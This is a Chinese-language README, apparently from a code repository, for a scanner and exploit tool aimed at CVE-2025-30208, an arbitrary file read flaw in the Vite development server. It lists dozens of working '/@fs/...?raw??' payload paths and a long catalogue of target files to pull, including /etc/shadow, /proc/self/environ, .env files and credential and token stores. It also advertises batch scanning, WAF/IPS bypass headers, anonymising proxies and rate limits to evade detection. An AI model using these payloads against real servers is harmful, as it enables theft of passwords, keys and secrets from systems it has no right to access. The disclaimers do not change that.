🔥 CVE-2025-30208 Vite 任意文件读取漏洞扫描器

适用于 CVE-2025-30208 的高级漏洞扫描器，具备企业级特性

专业的 Vite 任意文件读取漏洞检测渗透测试工具

🚀 快速开始 • 📋 功能特性 • 🔧 使用方法 • 📊 示例 • 🛡️ 安全性

📖 概述

这是一款综合性漏洞扫描器，旨在检测和利用 Vite 开发服务器中的 CVE-2025-30208 漏洞。该漏洞允许通过 Vite 的文件系统端点进行任意文件读取，可能暴露敏感配置文件、源代码和系统信息。

🎯 本工具的功能

检测网络中易受攻击的 Vite 实例
安全地利用 任意文件读取漏洞
发现敏感文件和配置数据
以多种格式（HTML、JSON、控制台）报告 发现结果
管理扫描会话和配置
优雅地处理错误，具备自动重试机制

🏗️ 模块化架构

该工具现在采用 模块化架构，以提高可维护性和可扩展性：

CVE-2025-30208.py - 主扫描器应用程序
payloads.py - 高级利用载荷（60 多种变体）
sensitive_files.py - 综合敏感文件数据库（200 多个文件）
html_template.py - 增强型黑客风格 HTML 报告模板

🚀 快速开始

前提条件

pip3 install -r requirements.txt

基本用法

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 功能特性

🔍 核心漏洞检测

60 多种高级载荷：全面的利用技术，实现最大检测率
智能检测：智能响应分析，避免误报
实时验证：持续验证目标响应
全面测试：测试所有已知的易受攻击端点

🛡️ 增强的安全功能

代理支持：支持 HTTP/HTTPS 代理配置，实现匿名
自定义标头：通过自定义 HTTP 标头绕过 WAF/IPS
速率限制：可配置的延迟，避免被检测
会话管理：保存和恢复扫描会话
输入验证：全面的参数验证

🔧 高级能力

批量扫描：多线程扫描多个目标
敏感文件发现：自动发现 200 多个敏感文件
连接测试：TCP/UDP/HTTP/HTTPS 协议测试
错误恢复：自动重试，带指数退避
全面日志记录：带时间戳的详细日志

📊 报告与输出

🎨 增强型 HTML 报告：精美的黑客风格漏洞报告，包含动画
JSON 导出：结构化数据，便于进一步分析
控制台输出：彩色编码的实时反馈
日志文件：详细的审计跟踪
交互式 Web 界面：内置 Web 服务器，用于查看报告

🔧 使用指南

1. 基本配置

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. 漏洞测试

CVE-2025-30208 > run

# 启用详细模式以获取详细输出
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. 批量扫描

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[按两次回车键结束]

4. 敏感文件发现

CVE-2025-30208 > scan

5. 高级配置

# 配置代理
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080

# 设置自定义标头
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}

# 配置速率限制
CVE-2025-30208 > rate
Enter rate limit: 1.0

6. 增强型 HTML 报告

# 生成精美的 HTML 报告
CVE-2025-30208 > pull

# 启动 Web 服务器查看报告
CVE-2025-30208 > web

# 在指定端口启动 Web 服务器
CVE-2025-30208 > web 8081

# 停止 Web 服务器
CVE-2025-30208 > web off

📊 命令参考

⚙️ 配置选项

🎨 增强型载荷系统

扫描器现在使用 60 多种不同的载荷变体，组织在 payloads.py 中：

主要 @fs 载荷

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

扩展参数变体

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

Vite 特定变体

/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug

模块系统变体

/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html

替代端点

/app/{file_path}?raw??
/App/{file_path}?raw??

🔍 增强型敏感文件发现

该工具现在测试 200 多个敏感文件，组织在 sensitive_files.py 中：

🖥️ 系统文件（Linux/Unix）

/etc/passwd - 用户账户信息
/etc/shadow - 加密密码数据
/etc/services - 网络服务
/etc/hosts - 主机名映射
/etc/fstab - 文件系统表
/etc/ssh/sshd_config - SSH 服务器配置
/etc/crontab - 系统计划任务
/etc/sudoers - Sudo 配置

📊 进程信息

/proc/version - 内核版本
/proc/cpuinfo - CPU 信息
/proc/meminfo - 内存信息
/proc/self/environ - 进程环境变量
/proc/self/cmdline - 进程命令行
/proc/net/tcp - TCP 连接
/proc/net/udp - UDP 连接

⚙️ 应用程序配置

.env - 环境变量
.env.local - 本地环境
.env.production - 生产环境
config.json - 应用程序配置
settings.json - 应用程序设置
application.properties - Spring 配置
application.yml - YAML 配置
database.yml - 数据库配置
secrets.json - 秘密管理

📦 Node.js / JavaScript 文件

package.json - Node.js 依赖
package-lock.json - 锁定依赖
yarn.lock - Yarn 锁定文件
vite.config.js - Vite 配置
vite.config.ts - TypeScript Vite 配置
tsconfig.json - TypeScript 配置
webpack.config.js - Webpack 配置
next.config.js - Next.js 配置
nuxt.config.js - Nuxt.js 配置
angular.json - Angular 配置
vue.config.js - Vue.js 配置
rollup.config.js - Rollup 配置
eslint.config.js - ESLint 配置

🔧 Git 文件

.git/config - Git 配置
.gitignore - Git 忽略规则
.gitattributes - Git 属性
.gitmodules - Git 子模块
.git/HEAD - 当前分支
.git/logs/HEAD - Git 日志
.git/refs/heads/master - master 分支
.git/refs/heads/main - main 分支

📚 文档文件

README.md - 项目文档
CHANGELOG.md - 变更日志
LICENSE - 许可证信息
CONTRIBUTING.md - 贡献指南
AUTHORS - 作者信息
TODO.md - 待办列表
ROADMAP.md - 开发路线图

🐳 Docker 文件

Dockerfile - Docker 配置
docker-compose.yml - Docker Compose
docker-compose.override.yml - 覆盖配置
.dockerignore - Docker 忽略规则
docker-compose.prod.yml - 生产配置
docker-compose.dev.yml - 开发配置

🌐 Web 服务器配置

nginx.conf - Nginx 配置
apache2.conf - Apache 配置
httpd.conf - HTTP 守护进程配置
.htaccess - Apache 访问控制
web.config - IIS 配置
robots.txt - 搜索引擎指令
sitemap.xml - 站点结构
manifest.json - Web 应用清单
sw.js - Service Worker
firebase.json - Firebase 配置
firebase.rules - Firebase 安全规则

🪟 Windows 文件

boot.ini - 启动配置
autoexec.bat - 自动执行脚本
system.ini - 系统配置
win.ini - Windows 配置
Users - 用户目录
Windows - 系统文件
Program Files - 应用程序目录

🍎 macOS 文件

System - 系统文件
Library - 库文件
Applications - 应用程序文件
private/etc/hosts - hosts 文件
private/etc/passwd - 用户账户

🗄️ 数据库文件

database.db - SQLite 数据库
database.sqlite - SQLite 数据库
data.db - 数据数据库
dump.sql - 数据库转储
schema.sql - 数据库模式
migrations - 数据库迁移

📝 日志文件

logs - 日志目录
error.log - 错误日志
access.log - 访问日志
app.log - 应用程序日志
debug.log - 调试日志
combined.log - 组合日志

💾 备份文件

backup - 备份目录
backup.sql - 数据库备份
backup.zip - 压缩备份
dump - 数据转储
export - 数据导出

🔒 安全与认证

auth.json - 认证配置
credentials.json - 凭据存储
keys.json - 密钥管理
tokens.json - 令牌存储
jwt.json - JWT 配置
oauth.json - OAuth 配置

🔌 API 与服务文件

api.json - API 配置
swagger.json - API 文档
openapi.json - OpenAPI 规范
graphql.json - GraphQL 配置
schema.json - API 模式

☁️ 云与部署

cloudformation.yml - AWS CloudFormation
serverless.yml - Serverless 配置
terraform.tf - Terraform 配置
kubernetes.yml - Kubernetes 配置
k8s.yml - Kubernetes 配置

📊 监控与分析

analytics.json - 分析配置
monitoring.json - 监控设置
metrics.json - 指标配置
telemetry.json - 遥测数据

🎨 增强型 HTML 报告

该工具现在生成 精美的黑客风格 HTML 报告，具备以下特性：

✨ 视觉特性

矩阵风格背景，带有动画下落字符
渐变动画和发光效果
交互元素，带有悬停效果
响应式设计，适用于所有设备
深色主题，为安全专业人员优化

📊 交互式统计

实时计数器，显示总泄漏和暴露字节数
严重性指示器，带颜色编码
复制功能，可复制每个泄漏项
内容预览，显示大小和行数
可展开部分，用于详细分析

🔧 技术特性

Google Fonts 集成（JetBrains Mono, Orbitron）
CSS 动画和过渡
JavaScript 交互性，增强用户体验
移动端响应式设计
跨浏览器兼容性

🌐 Web 服务器集成

内置 HTTP 服务器，用于查看报告
自动打开浏览器
端口配置选项
轻松启动/停止命令

🛡️ 错误处理与恢复

自动重试机制

3 次重试尝试：失败的请求会自动重试
指数退避：重试之间延迟递增
智能错误分类：针对不同错误类型的不同处理
优雅恢复：工具在出错后继续运行

错误类别

NetworkError：连接、超时、代理问题
ConfigurationError：无效设置和参数
ValidationError：无效输入参数
ScannerError：常规扫描器错误

验证特性

实时输入验证：所有参数在使用前验证
配置验证：扫描前完整验证
连接测试：TCP/UDP/HTTP/HTTPS 协议测试
代理验证：代理 URL 格式验证

📁 输出文件

📝 受影响版本

🚨 易受攻击版本

6.2.0 ≤ Vite ≤ 6.2.2
6.1.0 ≤ Vite ≤ 6.1.1
6.0.0 ≤ Vite ≤ 6.0.11
5.0.0 ≤ Vite ≤ 5.4.14
Vite ≤ 4.5.9

✅ 不受影响版本

Vite ≥ 6.2.3
6.1.2 ≤ Vite < 6.2.0
6.0.12 ≤ Vite < 6.1.0
5.4.15 ≤ Vite < 6.0.0
4.5.10 ≤ Vite < 5.0.0

🛡️ 安全与道德使用

⚠️ 重要安全说明

仅限授权测试：仅用于您拥有或明确获得测试许可的系统
负责任披露：向系统所有者报告漏洞
速率限制：使用适当的延迟，避免压垮目标
代理使用：适当考虑使用代理以保持匿名
法律合规：确保遵守当地法律法规

🔒 最佳实践

测试前始终获得书面许可
仅在受控环境中使用
记录所有测试活动
尊重速率限制和系统资源
负责任地报告发现

🚀 高级使用示例

示例 1：全面网络扫描

CVE-2025-30208 > set THREADS 20
CVE-2025-30208 > set RATE_LIMIT 0.5
CVE-2025-30208 > set TIMEOUT 10
CVE-2025-30208 > verbose
CVE-2025-30208 > batch

示例 2：带代理的隐蔽扫描

CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
CVE-2025-30208 > set RATE_LIMIT 2.0
CVE-2025-30208 > run

示例 3：增强报告工作流

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > pull
CVE-2025-30208 > web 8080

示例 4：敏感文件发现

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > scan

🏗️ 项目结构

CVE-2025-30208/
├── CVE-2025-30208.py          # 主扫描器应用程序
├── payloads.py                # 高级利用载荷（60+）
├── sensitive_files.py         # 敏感文件数据库（200+）
├── html_template.py           # 增强型 HTML 报告模板
├── README.md                  # 本文档
├── requirements.txt           # Python 依赖
├── logs/                      # 日志文件目录
├── data_leak.html            # 生成的 HTML 报告
├── data_leak.json            # 生成的 JSON 报告
└── session.json              # 保存的会话配置

🤝 贡献

我们欢迎贡献以改进本工具：

Fork 仓库
创建功能分支
进行更改
全面测试
提交拉取请求

贡献领域

payloads.py 中的新载荷变体
sensitive_files.py 中的额外敏感文件模式
html_template.py 中的增强 HTML 模板
改进的错误处理
性能优化
文档改进

📄 许可证

本项目仅用于 教育和授权安全测试目的。

⚠️ 法律免责声明：本工具仅用于授权安全测试和研究目的。用户有责任确保在测试任何系统前获得适当授权。作者不对任何滥用本工具的行为负责。

👨‍💻 作者

ThemeHackers

安全研究员与渗透测试专家

⭐ 如果本工具对您有帮助，请给它一个星星！⭐

为安全社区倾情打造 ❤️

`set <option> <value>`	设置配置选项	`set RHOST 192.168.1.100`
`show options`	显示当前设置	`show options`
`edit`	交互式选项编辑器	`edit`
`run` / `exploit`	运行漏洞测试	`run`
`batch`	批量扫描多个目标	`batch`
`scan`	发现敏感文件	`scan`
`pull`	导出结果为 HTML/JSON	`pull`
`web [on\|off\|port]`	用于 HTML 报告的 Web 服务器	`web 8080`
`save`	保存会话配置	`save`
`load`	加载会话配置	`load`
`test`	测试到目标的连接	`test`
`validate`	验证当前配置	`validate`
`verbose`	切换详细模式	`verbose`
`proxy`	配置代理设置	`proxy`
`headers`	设置自定义 HTTP 标头	`headers`
`rate`	配置速率限制	`rate`
`log`	显示日志信息	`log`
`help` / `?`	显示帮助	`help`
`exit` / `quit`	退出工具	`exit`

`RHOST`	目标主机/IP 地址	-	主机名/IP 验证
`RPORT`	目标端口号	-	端口范围 (1-65535)
`FILEPATH`	要测试的文件路径	`etc/passwd`	路径验证
`PROXY`	HTTP/HTTPS 代理 URL	-	URL 格式验证
`VERBOSE`	启用详细输出	`false`	布尔值验证
`RATE_LIMIT`	请求间延迟（秒）	`0.3`	数值验证
`THREADS`	批量扫描的线程数	`5`	整数验证
`TIMEOUT`	请求超时（秒）	`5`	整数验证
`CUSTOM_HEADERS`	自定义 HTTP 标头（JSON）	`{}`	JSON 格式验证

`data_leak.html`	增强型黑客风格 HTML 漏洞报告	HTML
`data_leak.json`	结构化 JSON 导出	JSON
`sensitive_files_discovery.json`	发现的敏感文件	JSON
`session.json`	保存的会话配置	JSON
`logs/cve_2025_30208_YYYYMMDD_HHMMSS.log`	详细审计日志	文本

CVE-2025-30208

最受欢迎